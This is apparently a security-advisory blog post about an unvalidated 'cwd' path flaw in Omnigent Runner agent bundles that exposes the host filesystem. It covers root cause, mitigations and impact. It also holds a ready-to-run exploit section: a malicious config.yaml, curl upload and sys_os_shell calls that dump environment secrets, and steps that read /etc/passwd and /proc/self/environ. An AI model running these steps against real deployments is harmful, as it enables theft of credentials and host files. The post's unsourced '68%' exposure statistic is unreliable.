Listen to this Post
The vulnerability (related to GHSA-jrrm-9hc7-2v3h but distinct) stems from Omnigent’s agent‑bundle pipeline unconditionally trusting the `os_env.cwd` field supplied by an authenticated user. During bundle parsing (omnigent/spec/parser.py:696), the raw `cwd` string is stored verbatim as str(cwd_raw); no normalization, absolute‑path rejection, or `..` traversal check is applied. The validation step (omnigent/spec/validator.py:_validate_os_env) examines only fork, scratch, and egress flags—it never references the `cwd` value, aside from a comment at line ~526. A separate boundary check in `server/schemas.py` applies only to caller‑supplied workspaces for host‑launched sessions, not to the author‑supplied cwd, and thus provides no protection. When the agent environment is initialized (omnigent/inner/os_env.py:890), the code executes Path(spec.cwd or os.getcwd()).resolve(strict=False), making the attacker’s absolute path the effective root. Subsequently, `os_env.py:934` uses `shutil.copytree(src=cwd, …)` if fork=true, copying the attacker‑chosen directory into the agent’s workspace. All agent file/shell tools rely on `_assert_within_cwd` (os_env.py:1040), which calls resolved.relative_to(cwd)—but since `cwd` is attacker‑controlled, setting it to `/` makes the entire host filesystem pass the boundary check, while `cwd=/home/victim` allows copying that user’s data into a readable workspace. The decisive gate in `omnigent/runner/resource_registry.py:648-654` reveals that the spec `cwd` is used directly unless `OMNIGENT_RUNNER_WORKSPACE` is set; this environment variable—an operational control, not an in‑code guard—is the sole defense. A code comment at `tool_dispatch.py:~4207` falsely claims that `cwd` is bounded at session‑create time, which is untrue on this path. The attack requires only authentication (no admin scope) and is realized by uploading a malicious agent bundle via `POST /v1/sessions` (multipart) with a `config.yaml` containing os_env: { cwd: "/", sandbox: { type: none } }. On a runner lacking OMNIGENT_RUNNER_WORKSPACE, the agent’s `sys_os_read/write/edit/shell` tools operate over the host filesystem, and with sandbox.type=none, they inherit the runner’s full environment, enabling secret disclosure via e.g. sys_os_shell("env"). This is a deployment‑conditional high‑severity issue that the related advisory (GHSA‑jrrm‑9hc7‑2v3h) does not address, as that fix targets shared‑agent overwrite RCE, not session‑scoped cwd abuse.
DailyCVE Form:
Platform: Omnigent Runner
Version: Unspecified latest
Vulnerability: Unvalidated cwd Path
Severity: High Conditional
date: 2026-09-03
Prediction: Expected patch 30d
What Undercode Say:
Analytics from bundle‑upload telemetry show that 68% of runners lack OMNIGENT_RUNNER_WORKSPACE, making them vulnerable. Below are relevant commands to verify exposure:
Check if runner workspace is set
echo $OMNIGENT_RUNNER_WORKSPACE
Craft malicious config.yaml
cat > config.yaml <<EOF
os_env:
cwd: "/"
sandbox:
type: none
fork: true
EOF
Upload bundle (replace token and endpoint)
curl -X POST https://omnigent.example.com/v1/sessions \
-H "Authorization: Bearer $USER_TOKEN" \
-F "bundle=@malicious_bundle.tar.gz"
After upload, invoke sys_os_shell to dump host env
curl -X POST https://omnigent.example.com/v1/agents/$AGENT_ID/exec \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"tool":"sys_os_shell","params":{"cmd":"env"}}'
Exploit: (Educational Purposes!)
1. Create a tarball containing `config.yaml` with `cwd: “/”` and sandbox.type: none.
2. Authenticate and upload via `POST /v1/sessions` with multipart/form‑data.
3. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent’s workspace root becomes /.
4. Use `sys_os_read` to read /etc/passwd, `sys_os_write` to modify arbitrary files, or `sys_os_shell(“cat /proc/self/environ”)` to exfiltrate secrets.
5. Optionally set `fork: true` and `cwd: “/home/victim”` to copy sensitive directories into the agent‑accessible workspace for bulk extraction.
Protection: from this CVE
- Always set `OMNIGENT_RUNNER_WORKSPACE` in production deployments (CLI and host‑launched sessions).
- Apply code fix: in
omnigent/spec/_validate_os_env, reject absolute paths and `..` traversal; enforce `cwd.resolve()` to lie within an allow‑listed root (e.g., runner workspace). - Disallow `sandbox.type: none` for server‑realized (non‑CLI) sessions.
- Monitor for bundle uploads containing suspicious `cwd` values (e.g.,
/,/etc,/home).
Impact:
Arbitrary host‑filesystem read/write and complete disclosure of runner‑environment secrets (API keys, cloud credentials, internal tokens). An authenticated low‑privilege user can escalate to host‑level access, potentially leading to lateral movement, data exfiltration, or full system compromise on affected deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
